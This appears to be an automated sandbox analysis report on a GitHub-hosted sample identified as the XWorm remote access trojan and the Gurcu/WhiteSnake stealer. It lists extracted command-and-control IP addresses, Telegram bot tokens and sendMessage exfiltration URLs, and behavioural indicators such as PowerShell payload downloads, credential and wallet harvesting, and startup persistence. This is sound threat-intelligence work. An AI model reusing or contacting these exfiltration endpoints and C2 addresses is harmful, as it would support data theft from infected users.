gurcu | hxxps://github[.]com/newbigs/newintsh

Analysis

max time kernel
383s
max time network
378s
platform
windows10-2004_x64
resource
win10v2004-20250207-en
resource tags

arch:x64arch:x86image:win10v2004-20250207-enlocale:en-usos:windows10-2004-x64system
submitted
12-02-2025 09:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://github.com/newbigs/newintsh

Score

10^/10

gurcu xworm collection credential_access defense_evasion discovery execution persistence privilege_escalation rat spyware stealer trojan upx

Malware Config

Extracted

Family

xworm

Version

5.0

172.245.20.209:7000

64.7.198.74:7000

Mutex

2r6vo6BvMgtBs26q

Attributes

install_file
USB.exe
telegram
https://api.telegram.org/bot7745567455:AAHJJMwjM2fEKRTzDuYpjGsEm_c35cD-3mY

aes.plain

Extracted

Family

gurcu

https://api.telegram.org/bot7745567455:AAHJJMwjM2fEKRTzDuYpjGsEm_c35cD-3mY/sendMessage?chat_id=-4702051411

https://api.telegram.org/bot7789746445:AAHZp-GtY5N35XwplIUS6rf6BjuHebMQYw0/sendMessage?chat_id=-4553928412

Signatures

Detect Xworm Payload 4 IoCs

resource	yara_rule
behavioral1/memory/5732-299-0x00000000007F0000-0x00000000007FE000-memory.dmp	family_xworm
behavioral1/memory/5892-321-0x00000000007B0000-0x00000000007BE000-memory.dmp	family_xworm
behavioral1/memory/5932-324-0x0000000000790000-0x000000000079E000-memory.dmp	family_xworm
behavioral1/memory/3788-914-0x0000000000990000-0x00000000009A0000-memory.dmp	family_xworm

Gurcu family
gurcu
Gurcu, WhiteSnake
Gurcu aka WhiteSnake is a malware stealer written in C#.
stealer gurcu

Suspicious use of NtCreateUserProcessOtherParentProcess 6 IoCs

description	pid	Process	procid_target
PID 5592 created 3464	5592	Guard.exe	56
PID 5592 created 3464	5592	Guard.exe	56
PID 2520 created 3464	2520	Guard.exe	56
PID 5700 created 3464	5700	Guard.exe	56
PID 6016 created 3464	6016	Guard.exe	56
PID 6016 created 3464	6016	Guard.exe	56

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 20 IoCs

flow	pid	Process
58	3428	powershell.exe
64	3428	powershell.exe
71	5356	powershell.exe
72	5356	powershell.exe
76	5776	powershell.exe
78	5776	powershell.exe
79	5992	powershell.exe
82	5992	powershell.exe
86	2784	powershell.exe
89	2784	powershell.exe
90	5552	powershell.exe
92	5552	powershell.exe
128	5640	powershell.exe
130	5640	powershell.exe
134	940	powershell.exe
135	940	powershell.exe
141	368	powershell.exe
144	368	powershell.exe
149	2396	powershell.exe
150	2396	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 15 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
368	powershell.exe
3428	powershell.exe
5776	powershell.exe
2784	powershell.exe
5640	powershell.exe
5992	powershell.exe
5552	powershell.exe
940	powershell.exe
2396	powershell.exe
5356	powershell.exe
2276	powershell.exe
5172	powershell.exe
2584	powershell.exe
3740	powershell.exe
2876	powershell.exe

Downloads MZ/PE file 8 IoCs

flow	pid	Process
88	892	Process not Found
64	3428	powershell.exe
78	5776	powershell.exe
89	2784	powershell.exe
118	5292	Process not Found
122	892	Process not Found
130	5640	powershell.exe
144	368	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
5004	powershell.exe
3116	cmd.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url	cmd.exe

Executes dropped EXE 11 IoCs

pid	Process
5592	Guard.exe
2520	Guard.exe
5700	Guard.exe
5732	jsc.exe
5892	jsc.exe
5932	jsc.exe
1312	rar.exe
6016	Guard.exe
2712	jsc.exe
3788	jsc.exe
2920	Guard.exe

Loads dropped DLL 49 IoCs

pid	Process
3012	wti.exe
3012	wti.exe
3012	wti.exe
3012	wti.exe
3012	wti.exe
3012	wti.exe
3012	wti.exe
3012	wti.exe
3012	wti.exe
3012	wti.exe
3012	wti.exe
3012	wti.exe
3012	wti.exe
3012	wti.exe
3012	wti.exe
3012	wti.exe
3012	wti.exe
1192	wti.exe
1192	wti.exe
1192	wti.exe
1192	wti.exe
1192	wti.exe
1192	wti.exe
1192	wti.exe
1192	wti.exe
1192	wti.exe
1192	wti.exe
1192	wti.exe
1192	wti.exe
1192	wti.exe
1192	wti.exe
1192	wti.exe
1192	wti.exe
4012	wti.exe
4012	wti.exe
4012	wti.exe
4012	wti.exe
4012	wti.exe
4012	wti.exe
4012	wti.exe
4012	wti.exe
4012	wti.exe
4012	wti.exe
4012	wti.exe
4012	wti.exe
4012	wti.exe
4012	wti.exe
4012	wti.exe
4012	wti.exe

Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
136	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 3 IoCs

discovery

Process Discovery

T1057

pid	Process
2484	tasklist.exe
3928	tasklist.exe
512	tasklist.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0007000000023e2e-507.dat	upx
behavioral1/memory/3012-511-0x00007FFA9E2F0000-0x00007FFA9E953000-memory.dmp	upx
behavioral1/files/0x0007000000023e1a-513.dat	upx
behavioral1/memory/3012-516-0x00007FFAB9400000-0x00007FFAB9427000-memory.dmp	upx
behavioral1/files/0x0007000000023e2c-517.dat	upx
behavioral1/memory/3012-518-0x00007FFAC2CA0000-0x00007FFAC2CAF000-memory.dmp	upx
behavioral1/files/0x0007000000023e1f-532.dat	upx
behavioral1/files/0x0007000000023e1e-531.dat	upx
behavioral1/files/0x0007000000023e1d-530.dat	upx
behavioral1/files/0x0007000000023e1c-529.dat	upx
behavioral1/files/0x0007000000023e1b-528.dat	upx
behavioral1/files/0x0007000000023e19-527.dat	upx
behavioral1/files/0x0007000000023e33-526.dat	upx
behavioral1/files/0x0007000000023e32-525.dat	upx
behavioral1/files/0x0007000000023e31-524.dat	upx
behavioral1/files/0x0007000000023e2d-521.dat	upx
behavioral1/files/0x0007000000023e2b-520.dat	upx
behavioral1/memory/3012-537-0x00007FFAAD440000-0x00007FFAAD46B000-memory.dmp	upx
behavioral1/memory/3012-538-0x00007FFAAAD10000-0x00007FFAAAD29000-memory.dmp	upx
behavioral1/memory/3012-539-0x00007FFAAACE0000-0x00007FFAAAD05000-memory.dmp	upx
behavioral1/memory/3012-540-0x00007FFAA4F80000-0x00007FFAA50FF000-memory.dmp	upx
behavioral1/memory/3012-541-0x00007FFAAACC0000-0x00007FFAAACD9000-memory.dmp	upx
behavioral1/memory/3012-542-0x00007FFAC1E30000-0x00007FFAC1E3D000-memory.dmp	upx
behavioral1/memory/3012-543-0x00007FFAA5F50000-0x00007FFAA5F84000-memory.dmp	upx
behavioral1/memory/3012-544-0x00007FFA9E2F0000-0x00007FFA9E953000-memory.dmp	upx
behavioral1/memory/3012-545-0x00007FFAA4EB0000-0x00007FFAA4F7E000-memory.dmp	upx
behavioral1/memory/3012-546-0x00007FFA9DB80000-0x00007FFA9E0B3000-memory.dmp	upx
behavioral1/memory/3012-548-0x00007FFAB9400000-0x00007FFAB9427000-memory.dmp	upx
behavioral1/memory/3012-549-0x00007FFAA9800000-0x00007FFAA9814000-memory.dmp	upx
behavioral1/memory/3012-550-0x00007FFAAD440000-0x00007FFAAD46B000-memory.dmp	upx
behavioral1/memory/3012-551-0x00007FFABFBA0000-0x00007FFABFBAD000-memory.dmp	upx
behavioral1/memory/3012-555-0x00007FFAAAD10000-0x00007FFAAAD29000-memory.dmp	upx
behavioral1/memory/3012-556-0x00007FFAA40F0000-0x00007FFAA41A3000-memory.dmp	upx
behavioral1/memory/3012-588-0x00007FFAAACE0000-0x00007FFAAAD05000-memory.dmp	upx
behavioral1/memory/3012-589-0x00007FFAA4F80000-0x00007FFAA50FF000-memory.dmp	upx
behavioral1/memory/3012-590-0x00007FFAAACC0000-0x00007FFAAACD9000-memory.dmp	upx
behavioral1/memory/3012-676-0x00007FFAA5F50000-0x00007FFAA5F84000-memory.dmp	upx
behavioral1/memory/3012-725-0x00007FFAA4EB0000-0x00007FFAA4F7E000-memory.dmp	upx
behavioral1/memory/3012-726-0x00007FFA9DB80000-0x00007FFA9E0B3000-memory.dmp	upx
behavioral1/memory/3012-812-0x00007FFAA40F0000-0x00007FFAA41A3000-memory.dmp	upx
behavioral1/memory/1192-813-0x00007FFAAC640000-0x00007FFAACCA3000-memory.dmp	upx
behavioral1/memory/3012-804-0x00007FFAA4F80000-0x00007FFAA50FF000-memory.dmp	upx
behavioral1/memory/3012-798-0x00007FFA9E2F0000-0x00007FFA9E953000-memory.dmp	upx
behavioral1/memory/1192-814-0x00007FFABFBE0000-0x00007FFABFC07000-memory.dmp	upx
behavioral1/memory/1192-815-0x00007FFAC5440000-0x00007FFAC544F000-memory.dmp	upx
behavioral1/memory/1192-821-0x00007FFABFBB0000-0x00007FFABFBDB000-memory.dmp	upx
behavioral1/memory/1192-822-0x00007FFAC1D60000-0x00007FFAC1D79000-memory.dmp	upx
behavioral1/memory/1192-823-0x00007FFABF7F0000-0x00007FFABF815000-memory.dmp	upx
behavioral1/memory/1192-824-0x00007FFABF670000-0x00007FFABF7EF000-memory.dmp	upx
behavioral1/memory/1192-826-0x00007FFABF660000-0x00007FFABF66D000-memory.dmp	upx
behavioral1/memory/1192-825-0x00007FFABC650000-0x00007FFABC669000-memory.dmp	upx
behavioral1/memory/1192-828-0x00007FFAAC640000-0x00007FFAACCA3000-memory.dmp	upx
behavioral1/memory/1192-829-0x00007FFABC3C0000-0x00007FFABC48E000-memory.dmp	upx
behavioral1/memory/1192-832-0x00007FFABFBE0000-0x00007FFABFC07000-memory.dmp	upx
behavioral1/memory/1192-831-0x00007FFAAC100000-0x00007FFAAC633000-memory.dmp	upx
behavioral1/memory/1192-827-0x00007FFABC610000-0x00007FFABC644000-memory.dmp	upx
behavioral1/memory/1192-833-0x00007FFABC5F0000-0x00007FFABC604000-memory.dmp	upx
behavioral1/memory/1192-835-0x00007FFABCCA0000-0x00007FFABCCAD000-memory.dmp	upx
behavioral1/memory/1192-840-0x00007FFAC1D60000-0x00007FFAC1D79000-memory.dmp	upx
behavioral1/memory/1192-850-0x00007FFAAC640000-0x00007FFAACCA3000-memory.dmp	upx
behavioral1/memory/1192-853-0x00007FFABF660000-0x00007FFABF66D000-memory.dmp	upx
behavioral1/memory/1192-854-0x00007FFAAC100000-0x00007FFAAC633000-memory.dmp	upx
behavioral1/memory/1192-852-0x00007FFABC650000-0x00007FFABC669000-memory.dmp	upx
behavioral1/memory/1192-851-0x00007FFABC610000-0x00007FFABC644000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Guard.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftEdgeUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Guard.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jsc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MicrosoftEdgeUpdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Guard.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jsc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Guard.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Guard.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jsc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jsc.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5404	MicrosoftEdgeUpdate.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3644	cmd.exe
3696	netsh.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2904	WMIC.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
728	systeminfo.exe

Kills process with taskkill 9 IoCs

defense_evasion

pid	Process
676	taskkill.exe
4932	taskkill.exe
1268	taskkill.exe
4940	taskkill.exe
1604	taskkill.exe
1808	taskkill.exe
4084	taskkill.exe
5788	taskkill.exe
812	taskkill.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3311063739-2594902809-44604183-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3311063739-2594902809-44604183-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-3311063739-2594902809-44604183-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-3311063739-2594902809-44604183-1000_Classes\Local Settings	OpenWith.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4960	msedge.exe
4960	msedge.exe
5104	msedge.exe
5104	msedge.exe
3800	msedge.exe
5092	identity_helper.exe
3800	msedge.exe
5092	identity_helper.exe
3428	powershell.exe
3428	powershell.exe
3428	powershell.exe
5356	powershell.exe
5356	powershell.exe
5356	powershell.exe
5592	Guard.exe
5592	Guard.exe
5592	Guard.exe
5592	Guard.exe
5592	Guard.exe
5592	Guard.exe
5592	Guard.exe
5592	Guard.exe
5592	Guard.exe
5592	Guard.exe
5592	Guard.exe
5592	Guard.exe
5592	Guard.exe
5592	Guard.exe
5592	Guard.exe
5592	Guard.exe
5592	Guard.exe
5592	Guard.exe
5592	Guard.exe
5592	Guard.exe
5776	powershell.exe
5776	powershell.exe
5776	powershell.exe
5992	powershell.exe
5992	powershell.exe
5992	powershell.exe
2520	Guard.exe
2520	Guard.exe
2520	Guard.exe
2520	Guard.exe
2520	Guard.exe
2520	Guard.exe
2520	Guard.exe
2520	Guard.exe
2520	Guard.exe
2520	Guard.exe
2520	Guard.exe
2520	Guard.exe
2520	Guard.exe
2520	Guard.exe
2520	Guard.exe
2520	Guard.exe
2520	Guard.exe
2520	Guard.exe
2784	powershell.exe
2784	powershell.exe
2784	powershell.exe
5552	powershell.exe
5552	powershell.exe
5552	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5856	OpenWith.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs

pid	Process
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3428	powershell.exe
Token: SeDebugPrivilege	5356	powershell.exe
Token: SeDebugPrivilege	5776	powershell.exe
Token: SeDebugPrivilege	5992	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	5552	powershell.exe
Token: SeDebugPrivilege	5732	jsc.exe
Token: SeDebugPrivilege	5892	jsc.exe
Token: SeDebugPrivilege	5932	jsc.exe
Token: SeDebugPrivilege	5640	powershell.exe
Token: SeDebugPrivilege	3740	powershell.exe
Token: SeDebugPrivilege	2276	powershell.exe
Token: SeDebugPrivilege	5172	powershell.exe
Token: SeDebugPrivilege	2484	tasklist.exe
Token: SeDebugPrivilege	3928	tasklist.exe
Token: SeIncreaseQuotaPrivilege	4384	WMIC.exe
Token: SeSecurityPrivilege	4384	WMIC.exe
Token: SeTakeOwnershipPrivilege	4384	WMIC.exe
Token: SeLoadDriverPrivilege	4384	WMIC.exe
Token: SeSystemProfilePrivilege	4384	WMIC.exe
Token: SeSystemtimePrivilege	4384	WMIC.exe
Token: SeProfSingleProcessPrivilege	4384	WMIC.exe
Token: SeIncBasePriorityPrivilege	4384	WMIC.exe
Token: SeCreatePagefilePrivilege	4384	WMIC.exe
Token: SeBackupPrivilege	4384	WMIC.exe
Token: SeRestorePrivilege	4384	WMIC.exe
Token: SeShutdownPrivilege	4384	WMIC.exe
Token: SeDebugPrivilege	4384	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4384	WMIC.exe
Token: SeRemoteShutdownPrivilege	4384	WMIC.exe
Token: SeUndockPrivilege	4384	WMIC.exe
Token: SeManageVolumePrivilege	4384	WMIC.exe
Token: 33	4384	WMIC.exe
Token: 34	4384	WMIC.exe
Token: 35	4384	WMIC.exe
Token: 36	4384	WMIC.exe
Token: SeDebugPrivilege	940	powershell.exe
Token: SeIncreaseQuotaPrivilege	4384	WMIC.exe
Token: SeSecurityPrivilege	4384	WMIC.exe
Token: SeTakeOwnershipPrivilege	4384	WMIC.exe
Token: SeLoadDriverPrivilege	4384	WMIC.exe
Token: SeSystemProfilePrivilege	4384	WMIC.exe
Token: SeSystemtimePrivilege	4384	WMIC.exe
Token: SeProfSingleProcessPrivilege	4384	WMIC.exe
Token: SeIncBasePriorityPrivilege	4384	WMIC.exe
Token: SeCreatePagefilePrivilege	4384	WMIC.exe
Token: SeBackupPrivilege	4384	WMIC.exe
Token: SeRestorePrivilege	4384	WMIC.exe
Token: SeShutdownPrivilege	4384	WMIC.exe
Token: SeDebugPrivilege	4384	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4384	WMIC.exe
Token: SeRemoteShutdownPrivilege	4384	WMIC.exe
Token: SeUndockPrivilege	4384	WMIC.exe
Token: SeManageVolumePrivilege	4384	WMIC.exe
Token: 33	4384	WMIC.exe
Token: 34	4384	WMIC.exe
Token: 35	4384	WMIC.exe
Token: 36	4384	WMIC.exe
Token: SeDebugPrivilege	512	tasklist.exe
Token: SeDebugPrivilege	5004	powershell.exe
Token: SeDebugPrivilege	3552	powershell.exe
Token: SeDebugPrivilege	676	taskkill.exe
Token: SeDebugPrivilege	4932	taskkill.exe
Token: SeDebugPrivilege	4084	taskkill.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
4760	wins.exe
4760	wins.exe
4760	wins.exe
4760	wins.exe
4760	wins.exe
4760	wins.exe
4760	wins.exe
4760	wins.exe
4760	wins.exe
4760	wins.exe
4760	wins.exe
4760	wins.exe
4760	wins.exe
4760	wins.exe
5592	Guard.exe
5592	Guard.exe
5592	Guard.exe
5760	wins.exe
5760	wins.exe
5760	wins.exe
5760	wins.exe
5760	wins.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
5104	msedge.exe
4760	wins.exe
4760	wins.exe
4760	wins.exe
4760	wins.exe
4760	wins.exe
4760	wins.exe
4760	wins.exe
4760	wins.exe
4760	wins.exe
4760	wins.exe
4760	wins.exe
4760	wins.exe
4760	wins.exe
4760	wins.exe
5592	Guard.exe
5592	Guard.exe
5592	Guard.exe
5760	wins.exe
5760	wins.exe
5760	wins.exe
5760	wins.exe
5760	wins.exe
5760	wins.exe
2520	Guard.exe
2520	Guard.exe
2520	Guard.exe
4300	wins.exe
4300	wins.exe
4300	wins.exe
4300	wins.exe
4300	wins.exe
5700	Guard.exe
5700	Guard.exe
5700	Guard.exe
5448	winx.exe
5448	winx.exe
5448	winx.exe
5448	winx.exe
5448	winx.exe
5448	winx.exe

Suspicious use of SetWindowsHookEx 64 IoCs

pid	Process
5600	OpenWith.exe
5600	OpenWith.exe
5600	OpenWith.exe
5600	OpenWith.exe
5600	OpenWith.exe
5600	OpenWith.exe
5600	OpenWith.exe
5600	OpenWith.exe
5600	OpenWith.exe
5600	OpenWith.exe
5600	OpenWith.exe
676	OpenWith.exe
676	OpenWith.exe
676	OpenWith.exe
676	OpenWith.exe
676	OpenWith.exe
676	OpenWith.exe
676	OpenWith.exe
676	OpenWith.exe
676	OpenWith.exe
676	OpenWith.exe
676	OpenWith.exe
676	OpenWith.exe
676	OpenWith.exe
676	OpenWith.exe
676	OpenWith.exe
676	OpenWith.exe
676	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe
5856	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5104 wrote to memory of 4740	5104	msedge.exe	86
PID 5104 wrote to memory of 4740	5104	msedge.exe	86
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 332	5104	msedge.exe	88
PID 5104 wrote to memory of 4960	5104	msedge.exe	89
PID 5104 wrote to memory of 4960	5104	msedge.exe	89
PID 5104 wrote to memory of 2252	5104	msedge.exe	90
PID 5104 wrote to memory of 2252	5104	msedge.exe	90
PID 5104 wrote to memory of 2252	5104	msedge.exe	90
PID 5104 wrote to memory of 2252	5104	msedge.exe	90
PID 5104 wrote to memory of 2252	5104	msedge.exe	90
PID 5104 wrote to memory of 2252	5104	msedge.exe	90
PID 5104 wrote to memory of 2252	5104	msedge.exe	90
PID 5104 wrote to memory of 2252	5104	msedge.exe	90
PID 5104 wrote to memory of 2252	5104	msedge.exe	90
PID 5104 wrote to memory of 2252	5104	msedge.exe	90
PID 5104 wrote to memory of 2252	5104	msedge.exe	90
PID 5104 wrote to memory of 2252	5104	msedge.exe	90
PID 5104 wrote to memory of 2252	5104	msedge.exe	90
PID 5104 wrote to memory of 2252	5104	msedge.exe	90
PID 5104 wrote to memory of 2252	5104	msedge.exe	90
PID 5104 wrote to memory of 2252	5104	msedge.exe	90
PID 5104 wrote to memory of 2252	5104	msedge.exe	90
PID 5104 wrote to memory of 2252	5104	msedge.exe	90
PID 5104 wrote to memory of 2252	5104	msedge.exe	90
PID 5104 wrote to memory of 2252	5104	msedge.exe	90

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3464
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://github.com/newbigs/newintsh
  2⤵
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:5104
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
